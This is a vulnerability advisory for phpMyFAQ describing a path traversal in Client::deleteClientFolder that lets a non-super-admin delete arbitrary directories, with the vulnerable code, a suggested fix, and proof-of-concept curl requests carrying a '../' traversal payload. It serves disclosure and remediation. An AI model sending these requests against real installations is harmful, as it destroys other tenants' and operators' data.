phpMyFAQ: Path Traversal in Client::deleteClientFolder enables arbitrary directory deletion by non-super-admin admins

Summary

Client::deleteClientFolder() in phpmyfaq/src/phpMyFAQ/Instance/Client.php:583 takes a URL from the caller, strips the https:// prefix, and passes the remainder to Filesystem::deleteDirectory() relative to the multisite clientFolder. No path-traversal validation runs. An admin with the INSTANCE_DELETE permission (a role short of SUPER_ADMIN) submits https://../../../<path> as the client URL and the server recursively deletes arbitrary directories under the web user's rights. Same pattern and reachability as GHSA-38m8-xrfj-v38x, which the project accepted at High severity three weeks earlier.

Details

phpmyfaq/src/phpMyFAQ/Instance/Client.php:583-591:

public function deleteClientFolder(string $sourceUrl): bool
{
    if (!$this->isMultiSiteWriteable()) {
        return false;
    }

    $sourcePath = str_replace(search: 'https://', replace: '', subject: $sourceUrl);
    return $this->filesystem->deleteDirectory($this->clientFolder . $sourcePath);
}

str_replace strips the scheme but does nothing about ../ segments. The concatenation $this->clientFolder . $sourcePath directly feeds the filesystem call, which traverses above clientFolder without complaint.

Callers feed the URL from the HTTP request body:

phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/InstanceController.php:184:

if (1 !== $instanceId && $client->deleteClientFolder($clientData->url) && $client->delete($instanceId)) {

$clientData->url comes from json_decode($request->getContent()). The route is admin.api.instance.delete, gated by INSTANCE_DELETE. The controller does not validate the URL against a scheme list or canonicalize the path before handing it to deleteClientFolder().

InstanceController.php:144 (edit path) and Controller/Administration/InstanceController.php:151 (form path) both reach the same sink through different entry points.

Precedent

GHSA-38m8-xrfj-v38x (2026-03-31) disclosed the identical bug class in MediaBrowserController::index(): an admin-gated API endpoint concatenates a user-supplied filename to a base directory without traversal validation. phpMyFAQ accepted that report at High severity. The present finding is the same root cause in a different controller; the project's INSTANCE_ADD / INSTANCE_DELETE permission is a granular admin right, not SUPER_ADMIN, so a lower-tier admin can reach the sink.

Proof of Concept

Prerequisites: a phpMyFAQ 4.2.x instance with the multisite subsystem bootstrapped (there must be a non-primary instance present for the delete controller branch to fire). Alice is an admin with INSTANCE_ADD and INSTANCE_DELETE rights, no SUPER_ADMIN flag.

Step 1: Alice authenticates and retrieves the CSRF token for the instance admin page.

Step 2: Alice creates an instance whose url encodes a traversal payload. The create path at InstanceController.php:144 already concatenates to the clientFolder through the same deleteClientFolder('https://' . $hostname) call:

curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance" \
  -H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \
  -d '{"url":"https://../../../tmp/pmf-poc/","instance":"poc","comment":"poc","email":"a@b","admin":"alice","password":"poc1234!"}'

Step 3: Alice deletes the instance. The request body names the instance id to delete; the controller hands clientData->url directly to deleteClientFolder:

curl -sS -b "$ALICE_COOKIE" -X POST "$BASE/admin/api/instance/2" \
  -H "Content-Type: application/json" -H "x-csrf-token: $CSRF" \
  -d '{"url":"https://../../../tmp/pmf-poc/"}'

The server computes $sourcePath = '../../../tmp/pmf-poc/', concatenates to <clientFolder>/, and recursively deletes the resulting path.

Live verification was not attempted against the test instance because the INSTANCE_DELETE path requires the multisite/ subsystem to be bootstrapped with at least one non-primary instance; see InstanceController.php:184. The code path is unambiguous and the precedent GHSA confirmed the same admin gating was considered in-scope.

Impact

Any phpMyFAQ admin holding INSTANCE_ADD + INSTANCE_DELETE but not SUPER_ADMIN can delete arbitrary directories writable by the PHP process. Outcomes:

• Destroy other tenants' data on a shared multisite deployment by traversing above the clientFolder into peer directories.
• Delete phpMyFAQ's own content/, config/, or cache directories and lock the install out.
• On a hosted deployment, overwrite or delete files anywhere under the web user's reach, including customer uploads outside phpMyFAQ.

phpMyFAQ's permission model gives INSTANCE_ADD / INSTANCE_DELETE as a role that a hosting operator may delegate to a subordinate admin without granting SUPER_ADMIN. That delegation is now a direct path-traversal-delete primitive.

Recommended Fix

Canonicalize and validate the URL before forming the filesystem path.

phpmyfaq/src/phpMyFAQ/Instance/Client.php:583:

public function deleteClientFolder(string $sourceUrl): bool
{
    if (!$this->isMultiSiteWriteable()) {
        return false;
    }

    $parsed = parse_url($sourceUrl);
    if (!is_array($parsed) || !isset($parsed['host']) || ($parsed['scheme'] ?? '') !== 'https') {
        return false;
    }

    $host = $parsed['host'];
    if (!preg_match('/^[a-z0-9][a-z0-9.-]*$/i', $host)) {
        return false;
    }

    $target = realpath($this->clientFolder . $host);
    $root = realpath($this->clientFolder);
    if ($target === false || $root === false || !str_starts_with($target, $root . DIRECTORY_SEPARATOR)) {
        return false;
    }

    return $this->filesystem->deleteDirectory($target);
}

parse_url rejects malformed inputs, the regex pins the host to valid DNS characters (no /, no ..), and the realpath check ensures the resolved target lives under clientFolder. Apply the same canonicalization at the controller layer (InstanceController::add, ::update, ::delete) so the URL is validated before every call that touches the filesystem.

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